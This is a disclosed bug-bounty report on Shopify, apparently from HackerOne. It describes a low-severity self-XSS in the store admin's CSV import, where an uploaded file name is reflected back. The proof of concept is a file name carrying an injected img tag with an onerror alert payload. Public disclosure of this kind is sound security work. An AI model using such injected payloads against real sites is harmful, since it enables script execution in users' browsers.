Shopify · Report #906201

XSS / SELF XSS

Validstatus

lowseverity

21upvotes

14 Sept 2020disclosed

How it was found

I found xss but i think its self xss

POC

Go to yourstore.myshopify.com
Go to settings > import
Upload wrong file csv with file name payload xss "><img src=xx onerror=alert(document.domain)>

xss attack

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original